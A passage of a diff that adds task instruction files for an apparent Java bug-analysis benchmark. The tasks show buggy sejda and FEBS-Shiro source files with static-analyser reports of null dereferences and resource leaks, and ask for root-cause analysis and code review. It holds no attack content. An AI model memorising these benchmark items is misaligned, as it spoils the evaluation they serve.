+        if (node instanceof PDOutlineItem && title.equals(((PDOutlineItem) node).getTitle())) {
+            return true;
+        }
+        return false;
+    }
+
+    /**
+     * asserts that a multiple output task has generated the given number of output files
+     * 
+     * @return
+     */
+    public TaskTestContext assertOutputSize(int size) {
+        requireMultipleOutputs();
+        assertEquals("An unexpected number of output files has been created", size, fileOutput.listFiles().length);
+        return this;
+    }
+
+    /**
+     * asserts that a multiple output task has generated the given file names
+     * 
+     * @param filenames
+     * @return
+     */
+    public TaskTestContext assertOutputContainsFilenames(String... filenames) {
+        requireMultipleOutputs();
+        Set<String> outputFiles = Arrays.stream(fileOutput.listFiles()).map(File::getName).collect(Collectors.toSet());
+        Arrays.stream(filenames).forEach(f -> assertTrue(f + " missing but expected. Files were: " +
+                StringUtils.join(outputFiles), outputFiles.contains(f)));
+        return this;
+    }
+
+    /**
+     * Applies the given consumer to every generated output
+     * 
+     * @param consumer
+     * @return
+     * @throws IOException
+     */
+    public TaskTestContext forEachPdfOutput(Consumer<PDDocument> consumer) throws IOException {
+        if (nonNull(outputDocument)) {
+            requirePDDocument();
+            consumer.accept(outputDocument);
+        } else if (nonNull(fileOutput) && fileOutput.isDirectory()) {
+            requireMultipleOutputs();
+            for (File current : fileOutput.listFiles()) {
+                try (PDDocument doc = PDFParser.parse(SeekableSources.seekableSourceFrom(current))) {
+                    consumer.accept(doc);
+                }
+            }
+        } else {
+            fail("No output to apply to");
+        }
+        return this;
+    }
+
+    /**
+     * Applies the given consumer to generated single output PDF document
+     * 
+     * @param consumer
+     * @return
+     * @throws IOException
+     */
+    public TaskTestContext forPdfOutput(Consumer<PDDocument> consumer) {
+        requirePDDocument();
+        consumer.accept(outputDocument);
+        return this;
+    }
+
+    /**
+     * Applies the given consumer to generated output PDF document with the given name
+     * 
+     * @param consumer
+     * @return
+     * @throws IOException
+     */
+    public TaskTestContext forPdfOutput(String filename, Consumer<PDDocument> consumer) throws IOException {
+        requireMultipleOutputs();
+        assertTrue("Not a PDF output",
+                isNotEmpty(filename) && filename.toLowerCase().endsWith(SejdaFileExtensions.PDF_EXTENSION));
+        try (PDDocument doc = PDFParser.parse(SeekableSources.seekableSourceFrom(new File(fileOutput, filename)))) {
+            consumer.accept(doc);
+        }
+        return this;
+    }
+
+    /**
+     * Applies the given consumer to every generated output
+     * 
+     * @param consumer
+     * @return
+     * @throws IOException
+     */
+    public TaskTestContext forEachRawOutput(Consumer<Path> consumer) throws IOException {
+        requireMultipleOutputs();
+        Files.list(fileOutput.toPath()).forEach(consumer);
+        return this;
+    }
+
+    /**
+     * Applies the given consumer to a single generated output
+     * 
+     * @param consumer
+     * @return
+     * @throws IOException
+     */
+    public TaskTestContext forRawOutput(Consumer<Path> consumer) {
+        assertNotNull(fileOutput);
+        consumer.accept(fileOutput.toPath());
+        return this;
+    }
+
+    private void requireMultipleOutputs() {
+        assertNotNull(fileOutput);
+        assertTrue("Expected an output directory", fileOutput.isDirectory());
+        assertTrue("No output has been created", fileOutput.listFiles().length > 0);
+    }
+
+    private void requirePDDocument() {
+        assertNotNull(
+                "No output document, make sure to call TaskTestContext::assertTaskCompleted before any other assert method",
+                outputDocument);
+    }
+
+    /**
+     * Asserts that the task has completed and generated some output. If a single output task, then the output is paresed and a {@link PDDocument} is returned
+     * 
+     * @return
+     * @throws IOException
+     */
+    public PDDocument assertTaskCompleted() throws IOException {
+        return this.assertTaskCompleted(null);
+    }
+
+    /**
+     * Asserts that the task has completed and generated some output. If the task generated a single output, then the output is parsed and a {@link PDDocument} is returned
+     * 
+     * @param password
+     * @return
+     * @throws IOException
+     */
+    public PDDocument assertTaskCompleted(String password) throws IOException {
+        if (nonNull(fileOutput)) {
+            if (fileOutput.isDirectory()) {
+                File[] files = fileOutput.listFiles();
+                assertTrue("No output has been created", files.length > 0);
+                if (files.length == 1) {
+                    initOutputFromSource(files[0], password);
+                }
+            } else {
+                initOutputFromSource(fileOutput, password);
+            }
+        } else if (nonNull(streamOutput)) {
+            org.sejda.util.IOUtils.close(streamOutput);
+            initOutputFromSource(SeekableSources.inMemorySeekableSourceFrom(streamOutput.toByteArray()), password);
+        }
+        return outputDocument;
+    }
+
+    private void initOutputFromSource(File source, String password) throws IOException {
+        if (source.getName().toLowerCase().endsWith(SejdaFileExtensions.PDF_EXTENSION)) {
+            this.outputDocument = PDFParser.parse(SeekableSources.seekableSourceFrom(source), password);
+            assertNotNull(outputDocument);
+        }
+    }
+
+    private void initOutputFromSource(SeekableSource source, String password) throws IOException {
+        this.outputDocument = PDFParser.parse(source, password);
+        assertNotNull(outputDocument);
+    }
+
+    @Override
+    public void close() throws IOException {
+        IOUtils.closeQuietly(streamOutput);
+        this.streamOutput = null;
+        IOUtils.closeQuietly(outputDocument);
+        this.outputDocument = null;
+        if (nonNull(fileOutput)) {
+            if (fileOutput.isDirectory()) {
+                Files.walkFileTree(fileOutput.toPath(), new SimpleFileVisitor<Path>() {
+                    @Override
+                    public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) throws IOException {
+                        Files.delete(file);
+                        return FileVisitResult.CONTINUE;
+                    }
+
+                    @Override
+                    public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
+                        Files.delete(dir);
+                        return FileVisitResult.CONTINUE;
+                    }
+
+                });
+            }
+            Files.deleteIfExists(fileOutput.toPath());
+        }
+        this.fileOutput = null;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `TaskTestContext.fileOutput.listFiles()` could be null and is dereferenced at line 273.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+TaskTestContext TaskTestContext.assertOutputSize(int)
+
+### Procedure Id:
+org.sejda.core.service.TaskTestContext.assertOutputSize(int):org.sejda.core.service.TaskTestContext.2ce267da58ffdd7de3ce4ed92a6d42b6
+
+### File:
+sejda-core/src/test/java/org/sejda/core/service/TaskTestContext.java
+
+### Key:
+TaskTestContext.java|assertOutputSize|NULL_DEREFERENCE
+
+### Node Key:
+babd2280a92a6bab7e9cba13f983be9f
+
+### Hash:
+f17ce0b1222988fd073b8a1241988305
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5813/instruction.md b/inferredbugs-5813/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..08f2babe2dacf10c072429272b60582baa5fa8d8
--- /dev/null
+++ b/inferredbugs-5813/instruction.md
@@ -0,0 +1,293 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sejda
+**Bug ID:** 12
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Created on 13/nov/2012
+ * Copyright 2011 by Andrea Vacondio (andrea.vacondio@gmail.com).
+ * 
+ * This file is part of the Sejda source code
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU Affero General Public License as
+ * published by the Free Software Foundation, either version 3 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Affero General Public License for more details.
+ *
+ * You should have received a copy of the GNU Affero General Public License
+ * along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+package org.sejda.impl.sambox.util;
+
+import org.apache.fontbox.ttf.TrueTypeFont;
+import org.junit.Test;
+import org.sejda.core.support.io.IOUtils;
+import org.sejda.impl.sambox.component.DefaultPdfSourceOpener;
+import org.sejda.impl.sambox.component.PDDocumentHandler;
+import org.sejda.impl.sambox.component.PageTextWriter;
+import org.sejda.impl.sambox.component.PdfTextExtractorByArea;
+import org.sejda.io.SeekableSources;
+import org.sejda.model.exception.TaskException;
+import org.sejda.model.exception.TaskIOException;
+import org.sejda.model.input.PdfStreamSource;
+import org.sejda.model.pdf.StandardType1Font;
+import org.sejda.sambox.cos.COSName;
+import org.sejda.sambox.input.PDFParser;
+import org.sejda.sambox.pdmodel.PDDocument;
+import org.sejda.sambox.pdmodel.PDPage;
+import org.sejda.sambox.pdmodel.PDResources;
+import org.sejda.sambox.pdmodel.font.FontMappers;
+import org.sejda.sambox.pdmodel.font.FontMapping;
+import org.sejda.sambox.pdmodel.font.PDFont;
+import org.sejda.sambox.pdmodel.font.PDType1Font;
+import org.sejda.sambox.pdmodel.graphics.form.PDFormXObject;
+
+import java.awt.*;
+import java.io.File;
+import java.io.IOException;
+
+import static org.apache.commons.lang3.RandomStringUtils.randomAlphanumeric;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.is;
+import static org.hamcrest.Matchers.notNullValue;
+import static org.junit.Assert.*;
+import static org.sejda.impl.sambox.util.FontUtils.*;
+
+/**
+ * @author Andrea Vacondio
+ */
+public class FontUtilsTest {
+
+    @Test
+    public void testGetStandardType1Fontg() {
+        assertEquals(PDType1Font.COURIER, getStandardType1Font(StandardType1Font.CURIER));
+        assertEquals(PDType1Font.COURIER_BOLD, getStandardType1Font(StandardType1Font.CURIER_BOLD));
+        assertEquals(PDType1Font.COURIER_BOLD_OBLIQUE, getStandardType1Font(StandardType1Font.CURIER_BOLD_OBLIQUE));
+        assertEquals(PDType1Font.COURIER_OBLIQUE, getStandardType1Font(StandardType1Font.CURIER_OBLIQUE));
+        assertEquals(PDType1Font.HELVETICA, getStandardType1Font(StandardType1Font.HELVETICA));
+        assertEquals(PDType1Font.HELVETICA_BOLD, getStandardType1Font(StandardType1Font.HELVETICA_BOLD));
+        assertEquals(PDType1Font.HELVETICA_BOLD_OBLIQUE,
+                getStandardType1Font(StandardType1Font.HELVETICA_BOLD_OBLIQUE));
+        assertEquals(PDType1Font.HELVETICA_OBLIQUE, getStandardType1Font(StandardType1Font.HELVETICA_OBLIQUE));
+        assertEquals(PDType1Font.TIMES_BOLD, getStandardType1Font(StandardType1Font.TIMES_BOLD));
+        assertEquals(PDType1Font.TIMES_BOLD_ITALIC, getStandardType1Font(StandardType1Font.TIMES_BOLD_ITALIC));
+        assertEquals(PDType1Font.TIMES_ITALIC, getStandardType1Font(StandardType1Font.TIMES_ITALIC));
+        assertEquals(PDType1Font.TIMES_ROMAN, getStandardType1Font(StandardType1Font.TIMES_ROMAN));
+        assertEquals(PDType1Font.SYMBOL, getStandardType1Font(StandardType1Font.SYMBOL));
+        assertEquals(PDType1Font.ZAPF_DINGBATS, getStandardType1Font(StandardType1Font.ZAPFDINGBATS));
+    }
+
+    private PDFont findFontFor(String s) {
+        return FontUtils.findFontFor(new PDDocument(), s);
+    }
+
+    @Test
+    public void testCanDisplay() {
+        assertTrue(canDisplay("Chuck", getStandardType1Font(StandardType1Font.HELVETICA)));
+        assertFalse(canDisplay("कसौटी", getStandardType1Font(StandardType1Font.HELVETICA)));
+        assertFalse(canDisplay("Chuck", null));
+    }
+
+    @Test
+    public void testFindFontFor() {
+        assertNotNull(findFontFor("ทดสอบ")); // thai
+        assertNotNull(findFontFor("αυτό είναι ένα τεστ")); // greek
+        assertNotNull(findFontFor("വീട്")); // malayalam
+        assertNotNull(findFontFor("मानक")); // hindi
+        assertNotNull(findFontFor("జ")); // telugu
+        assertNotNull(findFontFor("উ")); // bengali
+        assertNotNull(findFontFor("עברית")); // hebrew
+        assertNotNull(findFontFor("简化字")); // simplified chinese
+        assertNotNull(findFontFor("한국어/조선말")); // korean
+        assertNotNull(findFontFor("日本語")); // japanese
+        assertNotNull(findFontFor("latin ąćęłńóśźż")); // latin
+        assertNotNull(findFontFor("\uFFFD \u2997")); // symbols
+        assertNotNull(findFontFor("Newlines\nare\r\nignored")); // newlines
+        assertNotNull(findFontFor("\u2984 \u2583 \u2738 ☗⦄✸▃ ")); // symbols
+        assertNotNull(findFontFor("ភាសាខ្មែរ")); // khmer
+        assertNotNull(findFontFor("ጩ")); //ethiopic
+        assertNotNull(findFontFor("Shri ਹਰਜੋਤ ਸਿੰਘ / Harjot Singh"));
+    }
+
+    @Test
+    public void fontForMultipleLanguagesInOneString() {
+        assertNotNull(findFontFor("ਹਰਜੋਤ ਸਿੰਘ ភាសាខ្មែរጩ latin ąćęłńóśźż ทดสอบ വീട मानक हिन्दी ് జ উ ភាសាខ្មែរ  עברית")); // all in one
+    }
+
+    @Test
+    public void roundTripWriteAndRead() throws TaskException, IOException {
+        String str = "ਹਰਜੋਤ ਸਿੰਘ ភាសាខ្មែរ latin ąćęłńóśźż ทดสอบ വീട मानक हिन्दी ് జ উ ☗⦄✸▃ ";
+        PDDocument doc = new PDDocument();
+        PDPage page = new PDPage();
+        new PageTextWriter(doc).write(page, new Point(10, 10), str, getStandardType1Font(StandardType1Font.HELVETICA), 10.0d, Color.BLACK);
+        doc.addPage(page);
+        PDDocumentHandler handler = new PDDocumentHandler(doc);
+        File tmp = IOUtils.createTemporaryPdfBuffer();
+        handler.savePDDocument(tmp);
+
+        PDDocument doc2 = PDFParser.parse(SeekableSources.seekableSourceFrom(tmp));
+        String text = new PdfTextExtractorByArea().extractTextFromArea(doc2.getPage(0), new Rectangle(0,0, 1000, 1000));
+        assertEquals(noWhitespace(str), noWhitespace(text));
+    }
+
+    private String noWhitespace(String in) {
+        return in.replaceAll("\\s","");
+    }
+
+    @Test
+    public void testFontOrFallbackPositive() {
+        PDType1Font expected = getStandardType1Font(StandardType1Font.HELVETICA_BOLD_OBLIQUE);
+        assertEquals(expected, fontOrFallback("Chuck", expected, new PDDocument()));
+    }
+
+    @Test
+    public void testFontOrFallbackNegative() {
+        assertNotNull(fontOrFallback("कसौटी", getStandardType1Font(StandardType1Font.HELVETICA_BOLD_OBLIQUE),
+                new PDDocument()));
+    }
+
+    @Test
+    public void testFontOrFallbackNotFoundFallback() {
+        assertNull(fontOrFallback("\u1B2A\u1B35\u1B31\u1B29\u1B2E\u1B36, \u1B29\u1B32\u1B29\u1B2E\u1B36",
+                getStandardType1Font(StandardType1Font.HELVETICA_BOLD_OBLIQUE), new PDDocument()));
+    }
+
+    @Test
+    public void testCaching() {
+        PDDocument doc = new PDDocument();
+        PDFont expected = FontUtils.findFontFor(doc, "ทดสอบ");
+        assertNotNull(expected);
+
+        PDFont actual = FontUtils.findFontFor(doc, "ทด");
+        assertTrue("Font is cached, same instance is returned", expected == actual);
+    }
+
+    @Test
+    public void testCanDisplayThai() {
+        assertThat(findFontFor("นี่คือการทดสอบ"), is(notNullValue()));
+    }
+
+    @Test
+    public void canDisplayGeorgian() {
+        assertNotNull(findFontFor("ქართული ენა"));
+    }
+
+    @Test
+    public void testCanDisplayType0FontsThatDontThrow() throws TaskIOException, IOException {
+        PDDocument doc = getTestDoc("pdf/2-up-sample.pdf");
+
+        PDResources res = doc.getPage(0).getResources();
+        PDFormXObject form = (PDFormXObject) res.getXObject(COSName.getPDFName("Form2"));
+        PDResources formRes = form.getResources();
+        PDFont font = formRes.getFont(COSName.getPDFName("F0"));
+
+        assertThat(font.getName(), is("Arial-BoldMT"));
+        assertThat(FontUtils.canDisplay("Redacted out :)", font), is(false));
+    }
+
+    @Test
+    public void testLoadingFullFontFromSystemForSubsetFonts() throws TaskIOException, IOException {
+        boolean isVerdanaAvailable = isFontAvailableOnSystem("Verdana");
+        if(!isVerdanaAvailable) {
+            return;
+        }
+
+        PDDocument doc = getTestDoc("pdf/subset-font.pdf");
+
+        PDResources res = doc.getPage(0).getResources();
+        PDFormXObject form = (PDFormXObject) res.getXObject(COSName.getPDFName("Xf1"));
+        PDResources formRes = form.getResources();
+        PDFont font = formRes.getFont(COSName.getPDFName("F1"));
+        assertThat(font.getName(), is("PXAAAA+Verdana"));
+
+        PDFont original = new FontUtils.FontSubsetting(font).loadOriginal(doc);
+        // relies on Verdana font being present on the system
+        assertThat(original.getName(), is("Verdana"));
+    }
+
+    private PDDocument getTestDoc(String name) throws TaskIOException {
+        PdfStreamSource source = PdfStreamSource.newInstanceNoPassword(getClass().getClassLoader()
+                .getResourceAsStream(name), randomAlphanumeric(16) + ".pdf");
+
+        return new DefaultPdfSourceOpener().open(source).getUnderlyingPDDocument();
+    }
+
+    private boolean isFontAvailableOnSystem(String name) {
+        FontMapping<TrueTypeFont> result =  FontMappers.instance().getTrueTypeFont(name, null);
+        return result != null && !result.isFallback();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.sejda.sambox.pdmodel.PDDocument` acquired by call to `new()` at line 120 is not released after line 126.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void FontUtilsTest.roundTripWriteAndRead()
+
+### Procedure Id:
+org.sejda.impl.sambox.util.FontUtilsTest.roundTripWriteAndRead():void.7b37792cfb007c590ee6cb8b511727d2
+
+### File:
+sejda-sambox/src/test/java/org/sejda/impl/sambox/util/FontUtilsTest.java
+
+### Key:
+FontUtilsTest.java|roundTripWriteAndRead|RESOURCE_LEAK
+
+### Node Key:
+a7ba023fb84064dcb031df14925d34e9
+
+### Hash:
+80b4e3257d46073900a24139c073af90
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5814/instruction.md b/inferredbugs-5814/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..390befdb723d81cb1e1322b422c4b9b287aa0a34
--- /dev/null
+++ b/inferredbugs-5814/instruction.md
@@ -0,0 +1,155 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sejda
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2015 by Andrea Vacondio (andrea.vacondio@gmail.com).
+ * 
+ * This file is part of Sejda.
+ *
+ * Sejda is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU Affero General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * Sejda is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Affero General Public License for more details.
+ *
+ * You should have received a copy of the GNU Affero General Public License
+ * along with Sejda.  If not, see <http://www.gnu.org/licenses/>.
+ */
+package org.sejda.impl.sambox;
+
+import static org.sejda.common.ComponentsUtility.nullSafeCloseQuietly;
+import static org.sejda.core.support.io.IOUtils.createTemporaryPdfBuffer;
+import static org.sejda.core.support.io.model.FileOutput.file;
+
+import java.io.File;
+
+import org.sejda.core.support.io.OutputWriters;
+import org.sejda.core.support.io.SingleOutputWriter;
+import org.sejda.impl.sambox.component.PdfAlternateMixer;
+import org.sejda.model.exception.TaskException;
+import org.sejda.model.parameter.AlternateMixParameters;
+import org.sejda.model.task.BaseTask;
+import org.sejda.model.task.TaskExecutionContext;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+/**
+ * SAMBox implementation of the AlternateMix task performing the mix of two given {@link org.sejda.model.input.PdfMixInput}s.
+ * 
+ * @author Andrea Vacondio
+ */
+public class AlternateMixTask extends BaseTask<AlternateMixParameters> {
+
+    private static final Logger LOG = LoggerFactory.getLogger(AlternateMixTask.class);
+
+    private PdfAlternateMixer mixer = null;
+    private SingleOutputWriter outputWriter;
+
+    @Override
+    public void before(AlternateMixParameters parameters, TaskExecutionContext executionContext) throws TaskException {
+        super.before(parameters, executionContext);
+        mixer = new PdfAlternateMixer(parameters.getFirstInput(), parameters.getSecondInput());
+        outputWriter = OutputWriters.newSingleOutputWriter(parameters.getExistingOutputPolicy(), executionContext);
+    }
+
+    @Override
+    public void execute(AlternateMixParameters parameters) throws TaskException {
+
+        mixer.mix(executionContext());
+        mixer.setVersionOnPDDocument(parameters.getVersion());
+        mixer.setCompress(parameters.isCompress());
+
+        File tmpFile = createTemporaryPdfBuffer();
+        LOG.debug("Created output temporary buffer {}", tmpFile);
+        mixer.savePDDocument(tmpFile);
+        nullSafeCloseQuietly(mixer);
+
+        outputWriter.setOutput(file(tmpFile).name(parameters.getOutputName()));
+        parameters.getOutput().accept(outputWriter);
+
+        LOG.debug("Alternate mix with step first document {} and step second document {} completed.", parameters
+                .getFirstInput().getStep(), parameters.getSecondInput().getStep());
+    }
+
+    @Override
+    public void after() {
+        nullSafeCloseQuietly(mixer);
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.sejda.sambox.pdmodel.PDDocument` acquired by call to `PdfAlternateMixer(...)` at line 52 is not released after line 52.
+**Note**: potential exception at line 52
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AlternateMixTask.before(AlternateMixParameters,TaskExecutionContext)
+
+### Procedure Id:
+org.sejda.impl.sambox.AlternateMixTask.before(org.sejda.model.parameter.AlternateMixParameters,org.s.c2840876e2a1bcada29909e5de7ccb55
+
+### File:
+sejda-sambox/src/main/java/org/sejda/impl/sambox/AlternateMixTask.java
+
+### Key:
+AlternateMixTask.java|before|RESOURCE_LEAK
+
+### Node Key:
+a57b7efc25e44d5f31c6cb5b22b54f08
+
+### Hash:
+7711123d357015df456fb0ab33aa8e8d
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5815/instruction.md b/inferredbugs-5815/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e88ef8f36bc3901578c5ed50164fa55ce943e1fd
--- /dev/null
+++ b/inferredbugs-5815/instruction.md
@@ -0,0 +1,143 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sejda
+**Bug ID:** 13
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * This file is part of Sejda.
+ *
+ * Sejda is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU Affero General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * Sejda is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Affero General Public License for more details.
+ *
+ * You should have received a copy of the GNU Affero General Public License
+ * along with Sejda.  If not, see <http://www.gnu.org/licenses/>.
+ */
+package org.sejda.impl.sambox.component;
+
+import org.junit.Test;
+import org.sejda.impl.sambox.util.FontUtils;
+import org.sejda.model.exception.TaskIOException;
+import org.sejda.model.pdf.StandardType1Font;
+import org.sejda.sambox.pdmodel.PDDocument;
+import org.sejda.sambox.pdmodel.font.PDFont;
+
+import java.util.List;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.not;
+import static org.junit.Assert.assertThat;
+
+public class PageTextWriterTest {
+
+    private PDFont helvetica = FontUtils.getStandardType1Font(StandardType1Font.HELVETICA);
+
+    @Test
+    public void resolveTextAndFontsWhenTextRepeats() throws TaskIOException {
+        PageTextWriter writer = new PageTextWriter(new PDDocument());
+        List<PageTextWriter.TextWithFont> textAndFonts = writer.resolveFonts("123α456α789", helvetica);
+
+        assertThat(textAndFonts.get(0).getFont().getName(), is("Helvetica"));
+        assertThat(textAndFonts.get(0).getText(), is("123"));
+
+        assertThat(textAndFonts.get(1).getFont().getName(), is(not("Helvetica")));
+        assertThat(textAndFonts.get(1).getText(), is("α"));
+
+        assertThat(textAndFonts.get(2).getFont().getName(), is("Helvetica"));
+        assertThat(textAndFonts.get(2).getText(), is("456"));
+
+        assertThat(textAndFonts.get(3).getFont().getName(), is(not("Helvetica")));
+        assertThat(textAndFonts.get(3).getText(), is("α"));
+    }
+
+    @Test
+    public void resolvedSpaceSeparately() throws TaskIOException {
+        PageTextWriter writer = new PageTextWriter(new PDDocument());
+        List<PageTextWriter.TextWithFont> textAndFonts = writer.resolveFonts("ab cd", helvetica);
+
+        assertThat(textAndFonts.get(0).getFont().getName(), is("Helvetica"));
+        assertThat(textAndFonts.get(0).getText(), is("ab"));
+
+        assertThat(textAndFonts.get(1).getFont().getName(), is("Helvetica"));
+        assertThat(textAndFonts.get(1).getText(), is(" "));
+
+        assertThat(textAndFonts.get(2).getFont().getName(), is("Helvetica"));
+        assertThat(textAndFonts.get(2).getText(), is("cd"));
+    }
+
+
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.sejda.sambox.pdmodel.PDDocument` acquired by call to `new()` at line 38 is not released after line 39.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void PageTextWriterTest.resolveTextAndFontsWhenTextRepeats()
+
+### Procedure Id:
+org.sejda.impl.sambox.component.PageTextWriterTest.resolveTextAndFontsWhenTextRepeats():void.5f156cf8a814f6a0e16acc6918d86db0
+
+### File:
+sejda-sambox/src/test/java/org/sejda/impl/sambox/component/PageTextWriterTest.java
+
+### Key:
+PageTextWriterTest.java|resolveTextAndFontsWhenTextRepeats|RESOURCE_LEAK
+
+### Node Key:
+1e55ee1d1b05fb51bff8a15cb2c0a884
+
+### Hash:
+cc89e4edde7d73c0e8afdff210ce3f8d
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5824/instruction.md b/inferredbugs-5824/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..69bb3babcf9f1a6aea12a4f63abb09f9f1d4c7d6
--- /dev/null
+++ b/inferredbugs-5824/instruction.md
@@ -0,0 +1,154 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** FEBS-Shiro
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package cc.mrbird.febs.common.runner;
+
+import cc.mrbird.febs.common.properties.FebsProperties;
+import cc.mrbird.febs.monitor.service.IRedisService;
+import lombok.extern.slf4j.Slf4j;
+import org.apache.commons.lang3.StringUtils;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.boot.ApplicationArguments;
+import org.springframework.boot.ApplicationRunner;
+import org.springframework.context.ConfigurableApplicationContext;
+import org.springframework.stereotype.Component;
+
+import java.net.InetAddress;
+import java.util.Arrays;
+
+/**
+ * @author MrBird
+ * @author FiseTch
+ */
+@Slf4j
+@Component
+public class FebsStartedUpRunner implements ApplicationRunner {
+
+    @Autowired
+    private ConfigurableApplicationContext context;
+    @Autowired
+    private FebsProperties febsProperties;
+    @Autowired
+    private IRedisService redisService;
+
+    @Value("${server.port:8080}")
+    private String port;
+    @Value("${server.servlet.context-path:}")
+    private String contextPath;
+    @Value("${spring.profiles.active}")
+    private String active;
+
+    @Override
+    public void run(ApplicationArguments args) throws Exception {
+        try {
+            // 测试 Redis连接是否正常
+            redisService.exists("febs_test");
+        } catch (Exception e) {
+            log.error(" ____   __    _   _ ");
+            log.error("| |_   / /\\  | | | |");
+            log.error("|_|   /_/--\\ |_| |_|__");
+            log.error("                        ");
+            log.error("FEBS启动失败，{}", e.getMessage());
+            log.error("Redis连接异常，请检查Redis连接配置并确保Redis服务已启动");
+            // 关闭 FEBS
+            context.close();
+        }
+        if (context.isActive()) {
+            InetAddress address = InetAddress.getLocalHost();
+            String url = String.format("http://%s:%s", address.getHostAddress(), port);
